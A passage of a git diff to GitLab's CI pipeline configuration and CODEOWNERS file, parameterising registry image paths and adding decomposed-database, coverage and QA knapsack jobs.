+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36
tags:
- gitlab-org
# All jobs are interruptible by default
@@ -72,6 +72,7 @@ variables:
FLAKY_RSPEC_SUITE_REPORT_PATH: rspec_flaky/report-suite.json
RSPEC_TESTS_MAPPING_PATH: crystalball/mapping.json
RSPEC_PACKED_TESTS_MAPPING_PATH: crystalball/packed-mapping.json
+ FRONTEND_FIXTURES_MAPPING_PATH: crystalball/frontend_fixtures_mapping.json
ES_JAVA_OPTS: "-Xms256m -Xmx256m"
ELASTIC_URL: "http://elastic:changeme@elasticsearch:9200"
@@ -95,6 +96,9 @@ variables:
# Default latest tag for particular branch
QA_IMAGE_BRANCH: "${CI_REGISTRY}/${CI_PROJECT_PATH}/gitlab-ee-qa:${CI_COMMIT_REF_SLUG}"
+ REGISTRY_HOST: "registry.gitlab.com"
+ REGISTRY_GROUP: "gitlab-org"
+
# Preparing custom clone path to reduce space used by all random forks
# on GitLab.com's Shared Runners. Our main forks - especially the security
# ones - will have this variable overwritten in the project settings, so that
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index c6a89ddfa9c..5eb96d1addd 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -11,22 +11,23 @@
/doc/.markdownlint @marcel.amirault @eread @aqualls @cnorris
/doc/ @gl-docsteam
/doc/.vale/ @marcel.amirault @eread @aqualls @cnorris
-/doc/administration/geo/ @marcel.amirault
+/doc/administration/geo/ @axil
/doc/administration/gitaly/ @eread
/doc/administration/lfs/ @aqualls
/doc/administration/monitoring/ @ngaskill
-/doc/administration/operations/ @marcel.amirault @eread @marcia
+/doc/administration/operations/ @axil @eread @marcia
/doc/administration/packages/ @ngaskill
/doc/administration/pages/ @rdickenson @kpaizee
/doc/administration/postgresql/ @marcia
-/doc/administration/raketasks/ @marcel.amirault @eread
-/doc/administration/redis/ @marcel.amirault
-/doc/administration/reference_architectures/ @marcel.amirault
+/doc/administration/raketasks/ @axil @eread
+/doc/administration/redis/ @axil
+/doc/administration/reference_architectures/ @axil
/doc/administration/snippets/ @aqualls
-/doc/administration/troubleshooting @marcel.amirault @marcia @eread
+/doc/administration/troubleshooting @axil @marcia @eread
/doc/api/graphql/ @msedlakjakubowski @kpaizee
/doc/api/graphql/reference/ @kpaizee
/doc/api/group_activity_analytics.md @fneill
+/doc/api/vulnerabilities.md @fneill
/doc/ci/ @marcel.amirault @sselhorn
/doc/ci/environments/ @rdickenson
/doc/ci/services/ @sselhorn
@@ -36,7 +37,7 @@
/doc/development/i18n/ @ngaskill
/doc/development/value_stream_analytics.md @fneill
/doc/gitlab-basics/ @aqualls
-/doc/install/ @marcel.amirault
+/doc/install/ @axil
/doc/operations/ @ngaskill @rdickenson
/doc/push_rules/ @aqualls
/doc/security/ @eread
@@ -44,11 +45,15 @@
/doc/subscriptions/ @sselhorn
/doc/topics/autodevops/ @marcia
/doc/topics/git/ @aqualls
-/doc/update/ @marcel.amirault @marcia
+/doc/update/ @axil @marcia
/doc/user/analytics/ @fneill @ngaskill
/doc/user/application_security/ @rdickenson
/doc/user/application_security/container_scanning/ @ngaskill
/doc/user/application_security/cluster_image_scanning/ @ngaskill
+/doc/user/application_security/cve_id_request.md @fneill
+/doc/user/application_security/security_dashboard @fneill
+/doc/user/application_security/vulnerabilities @fneill
+/doc/user/application_security/vulnerability_report @fneill
/doc/user/clusters/ @marcia
/doc/user/compliance/ @rdickenson @eread
/doc/user/group/ @msedlakjakubowski
@@ -80,7 +85,6 @@
[Docs Create]
/doc/administration/file_hooks.md @aqualls
-/doc/administration/git_annex.md @aqualls
/doc/administration/git_protocol.md @aqualls
/doc/administration/invalidate_markdown_cache.md @aqualls
/doc/administration/issue_closing_pattern.md @aqualls
@@ -173,7 +177,6 @@
/lib/gitlab/background_migration/ @gitlab-org/maintainers/database
/ee/lib/ee/gitlab/background_migration/ @gitlab-org/maintainers/database
/lib/gitlab/database/ @gitlab-org/maintainers/database
-/ee/lib/gitlab/database/ @gitlab-org/maintainers/database
/lib/gitlab/sql/ @gitlab-org/maintainers/database
/lib/gitlab/github_import/ @gitlab-org/maintainers/database
/app/finders/ @gitlab-org/maintainers/database
@@ -185,7 +188,6 @@
/.gitlab/ci/ @gl-quality/eng-prod
/.gitlab/ci/docs.gitlab-ci.yml @gl-quality/eng-prod @gl-docsteam
/.gitlab/ci/releases.gitlab-ci.yml @gl-quality/eng-prod @gitlab-org/delivery
-/.gitlab/ci/dast.gitlab-ci.yml @dappelt @ngeorge1 @gl-quality/eng-prod
/.gitlab/ci/reports.gitlab-ci.yml @gitlab-com/gl-security/appsec @gl-quality/eng-prod
/.gitlab/CODEOWNERS @gl-quality/eng-prod
Dangerfile @gl-quality/eng-prod
@@ -198,6 +200,8 @@ Dangerfile @gl-quality/eng-prod
[Backend Static Code Analysis]
.rubocop*.yml @dstull @splattael @gl-quality/eng-prod
+.rubocop_todo.yml @dstull @splattael @gl-quality/eng-prod
+.rubocop_todo/ @dstull @splattael @gl-quality/eng-prod
/rubocop/ @dstull @splattael @gl-quality/eng-prod
/spec/rubocop/ @dstull @splattael @gl-quality/eng-prod
@@ -230,8 +234,6 @@ Dangerfile @gl-quality/eng-prod
/ee/app/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/app/presenters/projects/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/lib/api/vulnerabilit*.rb @gitlab-org/secure/threat-insights-backend-team
-/ee/lib/gitlab/ci/reports/security/vulnerability_reports_comparer.rb @gitlab-org/secure/threat-insights-backend-team
-/ee/spec/lib/gitlab/ci/reports/security/vulnerability_reports_comparer_spec.rb @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/spec/presenters/projects/security/ @gitlab-org/secure/threat-insights-backend-team
@@ -267,8 +269,6 @@ Dangerfile @gl-quality/eng-prod
/spec/lib/gitlab/kubernetes/network_policy_spec.rb @gitlab-org/protect/container-security-backend
/ee/app/services/network_policies/** @gitlab-org/protect/container-security-backend
/ee/spec/services/network_policies/** @gitlab-org/protect/container-security-backend
-/ee/app/controllers/projects/security/waf_anomalies_controller.rb @gitlab-org/protect/container-security-backend
-/ee/spec/controllers/projects/security/waf_anomalies_controller_spec.rb @gitlab-org/protect/container-security-backend
/app/models/clusters/applications/cilium.rb @gitlab-org/protect/container-security-backend
/spec/models/clusters/applications/cilium_spec.rb @gitlab-org/protect/container-security-backend
/ee/app/controllers/projects/security/network_policies_controller.rb @gitlab-org/protect/container-security-backend
@@ -298,7 +298,7 @@ Dangerfile @gl-quality/eng-prod
/lib/gitlab/discussions_diff/ @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
/lib/gitlab/quick_actions/ @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
-/ee/app/models/merge_request.rb @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
+/ee/app/models/ee/merge_request.rb @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
/ee/app/services/merge_requests/ @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
/ee/app/workers/merge_requests/ @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
/ee/app/workers/merge_request_reset_approvals_worker.rb @dskim_gitlab @garyh @patrickbajao @marc_shaw @kerrizor
@@ -306,7 +306,6 @@ Dangerfile @gl-quality/eng-prod
/app/assets/javascripts/diffs @viktomas @jboyson @iamphill @thomasrandolph
/app/assets/javascripts/batch_comments/ @viktomas @jboyson @iamphill @thomasrandolph
/app/assets/javascripts/notes @viktomas @jboyson @iamphill @thomasrandolph
-/app/assets/javascripts/merge_request @viktomas @jboyson @iamphill @thomasrandolph
/app/assets/javascripts/merge_conflicts @viktomas @jboyson @iamphill @thomasrandolph
/app/assets/javascripts/mr_notes @viktomas @jboyson @iamphill @thomasrandolph
/app/assets/javascripts/mr_popover @viktomas @jboyson @iamphill @thomasrandolph
@@ -328,7 +327,6 @@ Dangerfile @gl-quality/eng-prod
/lib/gitlab/usage_data_counters/ @gitlab-org/growth/product-intelligence/engineers
[Growth Experiments]
-/app/assets/javascripts/lib/utils/experimentation.js @gitlab-org/growth/experiment-devs
/app/experiments/ @gitlab-org/growth/experiment-devs
/app/models/experiment.rb @gitlab-org/growth/experiment-devs
/app/models/experiment_subject.rb @gitlab-org/growth/experiment-devs
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index 6aa3d533315..ae36c0cea70 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -53,7 +53,7 @@ docs-lint markdown:
docs-lint links:
extends:
- .docs:rules:docs-lint
- image: registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.14-ruby-2.7.4-0fae0f62
+ image: registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.14-ruby-2.7.5-08847baa
stage: lint
needs: []
script:
diff --git a/.gitlab/ci/frontend.gitlab-ci.yml b/.gitlab/ci/frontend.gitlab-ci.yml
index d3844d01213..ea4ae3b0492 100644
--- a/.gitlab/ci/frontend.gitlab-ci.yml
+++ b/.gitlab/ci/frontend.gitlab-ci.yml
@@ -11,7 +11,7 @@
- .default-retry
- .default-before_script
- .assets-compile-cache
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7-git-2.33-lfs-2.9-node-14.15-yarn-1.22-graphicsmagick-1.3.36
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7-git-2.33-lfs-2.9-node-14.15-yarn-1.22-graphicsmagick-1.3.36
variables:
SETUP_DB: "false"
WEBPACK_VENDOR_DLL: "true"
@@ -331,7 +331,7 @@ bundle-size-review:
extends:
- .default-retry
- .frontend:rules:bundle-size-review
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:danger
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:danger
stage: test
needs: ["compile-production-assets"]
script:
diff --git a/.gitlab/ci/global.gitlab-ci.yml b/.gitlab/ci/global.gitlab-ci.yml
index 22bd3b1e2e9..04883e5680a 100644
--- a/.gitlab/ci/global.gitlab-ci.yml
+++ b/.gitlab/ci/global.gitlab-ci.yml
@@ -213,7 +213,7 @@
- *storybook-node-modules-cache-push
.use-pg11:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -222,7 +222,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -231,7 +231,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg13:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36
services:
- name: postgres:13
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -240,7 +240,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg11-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36
services:
- name: postgres:11.6
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -251,7 +251,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg12-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-12-graphicsmagick-1.3.36
services:
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -262,7 +262,7 @@
POSTGRES_HOST_AUTH_METHOD: trust
.use-pg13-ee:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36"
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36
services:
- name: postgres:13
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
@@ -274,7 +274,7 @@
.use-kaniko:
image:
- name: registry.gitlab.com/gitlab-org/gitlab-build-images:kaniko
+ name: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:kaniko
entrypoint: [""]
before_script:
- source scripts/utils.sh
diff --git a/.gitlab/ci/qa-report.gitlab-ci.yml b/.gitlab/ci/qa-report.gitlab-ci.yml
deleted file mode 100644
index 61cbcfd58da..00000000000
--- a/.gitlab/ci/qa-report.gitlab-ci.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-test-reliability-report:
- extends:
- - .qa:rules:reliable-reports:schedule
- image:
- name: ${CI_REGISTRY_IMAGE}/gitlab-ee-qa:${CI_DEFAULT_BRANCH}
- entrypoint: [""]
- before_script:
- - cd /home/gitlab/qa
- script:
- - echo "Generate report for 'staging-full' runs"
- - bundle exec rake "reliable_spec_report[staging-full,30,true]"
- - bundle exec rake "unreliable_spec_report[staging-full,30,true]"
- - echo "Generate report for 'package-and-qa' runs"
- - bundle exec rake "reliable_spec_report[package-and-qa,30,true]"
- - bundle exec rake "unreliable_spec_report[package-and-qa,30,true]"
diff --git a/.gitlab/ci/qa.gitlab-ci.yml b/.gitlab/ci/qa.gitlab-ci.yml
index 74fc5f2cdc0..4fec223e66d 100644
--- a/.gitlab/ci/qa.gitlab-ci.yml
+++ b/.gitlab/ci/qa.gitlab-ci.yml
@@ -57,8 +57,12 @@ update-qa-cache:
- install_gitlab_gem
- tooling/bin/find_change_diffs ${CHANGES_DIFFS_DIR}
script:
+ - tooling/bin/qa/check_if_qa_only_spec_changes ${CHANGES_FILE} ${ONLY_QA_CHANGES_FILE}
+ - '[ -f $ONLY_QA_CHANGES_FILE ] && export QA_TESTS="`cat $ONLY_QA_CHANGES_FILE`"'
+ - 'echo "QA_TESTS: $QA_TESTS"'
+ - exit_code=0 && tooling/bin/qa/package_and_qa_check ${CHANGES_DIFFS_DIR} || exit_code=$?
+ - echo $exit_code
- |
- tooling/bin/qa/package_and_qa_check ${CHANGES_DIFFS_DIR} && exit_code=$?
if [ $exit_code -eq 0 ]; then
./scripts/trigger-build omnibus
elif [ $exit_code -eq 1 ]; then
@@ -80,16 +84,25 @@ update-qa-cache:
expire_in: 7d
paths:
- ${CHANGES_FILE}
+ - ${ONLY_QA_CHANGES_FILE}
- ${CHANGES_DIFFS_DIR}/*
variables:
CHANGES_FILE: tmp/changed_files.txt
+ ONLY_QA_CHANGES_FILE: tmp/qa_only_changed_files.txt
CHANGES_DIFFS_DIR: tmp/diffs
+ ALLURE_JOB_NAME: $CI_JOB_NAME
.package-and-qa-ff-base:
script:
- - export GITLAB_QA_OPTIONS="--set-feature-flags $(scripts/changed-feature-flags --files $(cat $CHANGES_FILE | tr ' ' ',') --state $QA_FF_STATE)"
- - echo $GITLAB_QA_OPTIONS
- - ./scripts/trigger-build omnibus
+ - |
+ feature_flags=$(scripts/changed-feature-flags --files $(cat $CHANGES_FILE | tr ' ' ',') --state $QA_FF_STATE)
+ if [[ $feature_flags ]]; then
+ export GITLAB_QA_OPTIONS="--set-feature-flags $feature_flags"
+ echo $GITLAB_QA_OPTIONS
+ ./scripts/trigger-build omnibus
+ else
+ echo "No changed feature flag found to test. The tests are skipped if the flag was removed."
+ fi
package-and-qa:
extends:
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index 1fb1c887e56..d676dc2f331 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -18,9 +18,13 @@
variables:
RSPEC_TESTS_MAPPING_ENABLED: "true"
-.decomposed-database-rspec:
+.decomposed-database:
variables:
DECOMPOSED_DB: "true"
+
+.decomposed-database-rspec:
+ extends: .decomposed-database
+ variables:
GITLAB_LOAD_BALANCING_REUSE_PRIMARY_ci: "main"
GITLAB_USE_MODEL_LOAD_BALANCING: "true"
@@ -31,6 +35,7 @@
RUBY_GC_MALLOC_LIMIT: 67108864
RUBY_GC_MALLOC_LIMIT_MAX: 134217728
RECORD_DEPRECATIONS: "true"
+ GEO_SECONDARY_PROXY: 0
needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets", "detect-tests"]
script:
- !reference [.base-script, script]
@@ -151,16 +156,16 @@
parallel: 3
.rspec-unit-parallel:
- parallel: 20
+ parallel: 22
.rspec-ee-unit-parallel:
- parallel: 12
+ parallel: 14
.rspec-ee-unit-geo-parallel:
parallel: 2
.rspec-integration-parallel:
- parallel: 8
+ parallel: 10
.rspec-ee-integration-parallel:
parallel: 4
@@ -341,8 +346,14 @@ rspec fast_spec_helper minimal:
db:rollback:
extends: .db-job-base
script:
- - bundle exec rake db:migrate VERSION=20181228175414
- - bundle exec rake db:migrate SKIP_SCHEMA_VERSION_CHECK=true
+ - scripts/db_tasks db:migrate VERSION=20181228175414
+ - scripts/db_tasks db:migrate SKIP_SCHEMA_VERSION_CHECK=true
+
+db:rollback decomposed:
+ extends:
+ - db:rollback
+ - .decomposed-database
+ - .rails:rules:decomposed-databases
db:migrate:reset:
extends: .db-job-base
@@ -367,19 +378,34 @@ db:migrate-from-previous-major-version:
- git checkout -f $CI_COMMIT_SHA
- SETUP_DB=false USE_BUNDLE_INSTALL=true bash scripts/prepare_build.sh
script:
- - run_timed_command "bundle exec rake db:migrate"
+ - run_timed_command "scripts/db_tasks db:migrate"
-db:check-schema:
+db:migrate-from-previous-major-version-decomposed:
extends:
- db:migrate-from-previous-major-version
+ - .decomposed-database
+ - .rails:rules:decomposed-databases
+
+.db:check-schema-base:
+ extends:
- .rails:rules:ee-mr-and-default-branch-only
variables:
TAG_TO_CHECKOUT: "v14.4.0"
script:
- - run_timed_command "bundle exec rake db:migrate"
+ - run_timed_command "scripts/db_tasks db:migrate"
- scripts/schema_changed.sh
- scripts/validate_migration_timestamps
+db:check-schema:
+ extends:
+ - db:migrate-from-previous-major-version
+ - .db:check-schema-base
+
+db:check-schema-decomposed:
+ extends:
+ - db:migrate-from-previous-major-version-decomposed
+ - .db:check-schema-base
+
db:check-migrations:
extends:
- .db-job-base
@@ -389,6 +415,12 @@ db:check-migrations:
- scripts/validate_migration_schema
allow_failure: true
+db:check-migrations-decomposed:
+ extends:
+ - db:check-migrations
+ - .decomposed-database
+ - .rails:rules:decomposed-databases
+
db:gitlabcom-database-testing:
extends: .rails:rules:db:gitlabcom-database-testing
stage: test
@@ -487,6 +519,11 @@ rspec:coverage:
- rspec unit pg12 minimal
- rspec integration pg12 minimal
- rspec system pg12 minimal
+ # FOSS/EE decomposed jobs
+ - rspec migration pg12 decomposed
+ - rspec unit pg12 decomposed
+ - rspec integration pg12 decomposed
+ - rspec system pg12 decomposed
# EE jobs
- rspec-ee migration pg12
- rspec-ee unit pg12
@@ -497,6 +534,11 @@ rspec:coverage:
- rspec-ee unit pg12 minimal
- rspec-ee integration pg12 minimal
- rspec-ee system pg12 minimal
+ # EE decomposed jobs
+ - rspec-ee migration pg12 decomposed
+ - rspec-ee unit pg12 decomposed
+ - rspec-ee integration pg12 decomposed
+ - rspec-ee system pg12 decomposed
# Geo jobs
- rspec-ee unit pg12 geo
- rspec-ee integration pg12 geo
@@ -508,6 +550,19 @@ rspec:coverage:
# Memory jobs
- memory-static
- memory-on-boot
+ # As-if-FOSS jobs
+ - rspec migration pg12-as-if-foss
+ - rspec migration pg12-as-if-foss minimal
+ - rspec migration pg12-as-if-foss decomposed
+ - rspec unit pg12-as-if-foss
+ - rspec unit pg12-as-if-foss minimal
+ - rspec unit pg12-as-if-foss decomposed
+ - rspec integration pg12-as-if-foss
+ - rspec integration pg12-as-if-foss minimal
+ - rspec integration pg12-as-if-foss decomposed
+ - rspec system pg12-as-if-foss
+ - rspec system pg12-as-if-foss minimal
+ - rspec system pg12-as-if-foss decomposed
script:
- run_timed_command "bundle exec scripts/merge-simplecov"
- run_timed_command "bundle exec scripts/gather-test-memory-data"
@@ -518,10 +573,29 @@ rspec:coverage:
paths:
- coverage/index.html
- coverage/assets/
+ - coverage/lcov/
- tmp/memory_test/
reports:
cobertura: coverage/coverage.xml
+rspec:undercoverage:
+ extends:
+ - .coverage-base
+ - .rails:rules:rspec-undercoverage
+ stage: post-test
+ needs: ["rspec:coverage"]
+ script:
+ - if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
+ echo "Checking out \$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA ($CI_MERGE_REQUEST_SOURCE_BRANCH_SHA) instead of \$CI_COMMIT_SHA (merge result commit $CI_COMMIT_SHA) so we can use $CI_MERGE_REQUEST_DIFF_BASE_SHA for undercoverage in this merged result pipeline";
+ git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
+ bundle_install_script;
+ else
+ echo "Using \$CI_COMMIT_SHA ($CI_COMMIT_SHA) for this non-merge result pipeline.";
+ fi;
+ - if [ -f scripts/undercoverage ]; then
+ run_timed_command "scripts/undercoverage";
+ fi;
+
rspec:feature-flags:
extends:
- .coverage-base
@@ -880,8 +954,8 @@ db:rollback geo:
- db:rollback
- .rails:rules:ee-only-migration
script:
- - bundle exec rake geo:db:migrate VERSION=20170627195211
- - bundle exec rake geo:db:migrate
+ - bundle exec rake db:migrate:geo VERSION=20170627195211
+ - bundle exec rake db:migrate:geo
# EE: default refs (MRs, default branch, schedules) jobs #
##################################################
diff --git a/.gitlab/ci/reports.gitlab-ci.yml b/.gitlab/ci/reports.gitlab-ci.yml
index 33efc3c4788..6d58bbf9682 100644
--- a/.gitlab/ci/reports.gitlab-ci.yml
+++ b/.gitlab/ci/reports.gitlab-ci.yml
@@ -98,7 +98,7 @@ gemnasium-python-dependency_scanning:
yarn-audit-dependency_scanning:
extends: .ds-analyzer
- image: "registry.gitlab.com/gitlab-org/security-products/analyzers/npm-audit:1.4.0"
+ image: "registry.gitlab.com/gitlab-org/security-products/analyzers/npm-audit:1.4.1"
variables:
TOOL: yarn
rules: !reference [".reports:rules:yarn-audit-dependency_scanning", rules]
diff --git a/.gitlab/ci/review-apps/main.gitlab-ci.yml b/.gitlab/ci/review-apps/main.gitlab-ci.yml
index 670175a6f11..16ef3c82cda 100644
--- a/.gitlab/ci/review-apps/main.gitlab-ci.yml
+++ b/.gitlab/ci/review-apps/main.gitlab-ci.yml
@@ -34,12 +34,12 @@ review-build-cng:
.review-workflow-base:
extends:
- .default-retry
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3.5-kubectl1.17
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:gitlab-helm3.5-kubectl1.17
resource_group: "review/${CI_COMMIT_REF_NAME}"
variables:
HOST_SUFFIX: "${CI_ENVIRONMENT_SLUG}"
DOMAIN: "-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}"
- GITLAB_HELM_CHART_REF: "v5.4.1"
+ GITLAB_HELM_CHART_REF: "v5.5.0"
environment:
name: review/${CI_COMMIT_REF_SLUG}${FREQUENCY}
url: https://gitlab-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}
@@ -65,6 +65,7 @@ review-deploy:
- deploy || (display_deployment_debug && exit 1)
- verify_deploy || exit 1
- disable_sign_ups || (delete_release && exit 1)
+ - create_sample_projects
after_script:
# Run seed-dast-test-data.sh only when DAST_RUN is set to true. This is to pupulate review app with data for DAST scan.
# Set DAST_RUN to true when jobs are manually scheduled.
@@ -104,4 +105,4 @@ review-stop:
stage: deploy
needs: []
script:
- - delete_k8s_release_namespace
+ - delete_namespace
diff --git a/.gitlab/ci/review-apps/qa.gitlab-ci.yml b/.gitlab/ci/review-apps/qa.gitlab-ci.yml
index 07f8bd4e5fd..af4674b802b 100644
--- a/.gitlab/ci/review-apps/qa.gitlab-ci.yml
+++ b/.gitlab/ci/review-apps/qa.gitlab-ci.yml
@@ -16,16 +16,19 @@
GITLAB_ADMIN_PASSWORD: "${REVIEW_APPS_ROOT_PASSWORD}"
GITLAB_QA_ADMIN_ACCESS_TOKEN: "${REVIEW_APPS_ROOT_TOKEN}"
GITHUB_ACCESS_TOKEN: "${REVIEW_APPS_QA_GITHUB_ACCESS_TOKEN}"
- EE_LICENSE: "${REVIEW_APPS_EE_LICENSE}"
SIGNUP_DISABLED: "true"
before_script:
# Use $CI_MERGE_REQUEST_SOURCE_BRANCH_SHA so that GitLab image built in omnibus-gitlab-mirror and QA image are in sync.
+ - export EE_LICENSE="$(cat $REVIEW_APPS_EE_LICENSE_FILE)"
- if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
fi
- export CI_ENVIRONMENT_URL="$(cat environment_url.txt)"
- echo "${CI_ENVIRONMENT_URL}"
- cd qa
+ - if [ -n "$KNAPSACK_REPORT_PATH" ]; then
+ bundle exec rake knapsack:download;
+ fi
artifacts:
paths:
- qa/tmp
@@ -34,21 +37,28 @@
.parallel-qa-base:
parallel: 5
+ variables:
+ KNAPSACK_TEST_FILE_PATTERN: "qa/specs/features/**/*_spec.rb"
script:
- - export KNAPSACK_REPORT_PATH=knapsack/master_report.json
- - export KNAPSACK_TEST_FILE_PATTERN=qa/specs/features/**/*_spec.rb
- |
bin/test "${QA_SCENARIO}" "${CI_ENVIRONMENT_URL}" \
-- \
--color --format documentation \
--format RspecJunitFormatter --out tmp/rspec.xml
+ after_script:
+ - if [ -n "$KNAPSACK_GENERATE_REPORT" ]; then
+ mv qa/${KNAPSACK_REPORT_PATH} qa/knapsack/gcs/regenerated-${CI_NODE_INDEX}.json;
+ fi
artifacts:
+ paths:
+ - qa/tmp # we can't merge list so need to include explicitly once more
+ - qa/knapsack/gcs/regenerated-*.json
reports:
junit: qa/tmp/rspec.xml
.allure-report-base:
image:
- name: ${GITLAB_DEPENDENCY_PROXY}andrcuns/allure-report-publisher:0.4.1
+ name: ${GITLAB_DEPENDENCY_PROXY}andrcuns/allure-report-publisher:0.4.2
entrypoint: [""]
stage: post-qa
variables:
@@ -69,6 +79,16 @@
--ignore-missing-results \
--color
+.knapsack-upload-base:
+ image:
+ name: ${QA_IMAGE}
+ entrypoint: [""]
+ stage: post-qa
+ before_script:
+ - cd qa
+ script:
+ - bundle exec rake 'knapsack:upload[knapsack/gcs/regenerated-*.json]'
+
review-qa-smoke:
extends:
- .review-qa-base
@@ -84,9 +104,11 @@ review-qa-reliable:
- .review-qa-base
- .review:rules:review-qa-reliable
- .parallel-qa-base
+ retry: 1
variables:
QA_RUN_TYPE: review-qa-reliable
QA_SCENARIO: Test::Instance::Reliable
+ KNAPSACK_REPORT_PATH: knapsack/gcs/review-qa-reliable.json
review-qa-all:
extends:
@@ -96,6 +118,7 @@ review-qa-all:
variables:
QA_RUN_TYPE: review-qa-all
QA_SCENARIO: Test::Instance::All
+ KNAPSACK_REPORT_PATH: knapsack/gcs/review-qa-all.json
review-performance:
extends:
@@ -140,3 +163,19 @@ allure-report-qa-all:
variables:
ALLURE_REPORT_PATH_PREFIX: gitlab-review-all
ALLURE_JOB_NAME: review-qa-all
+
+knapsack-report-qa-all:
+ extends:
+ - .knapsack-upload-base
+ - .review:rules:knapsack-report-qa-all
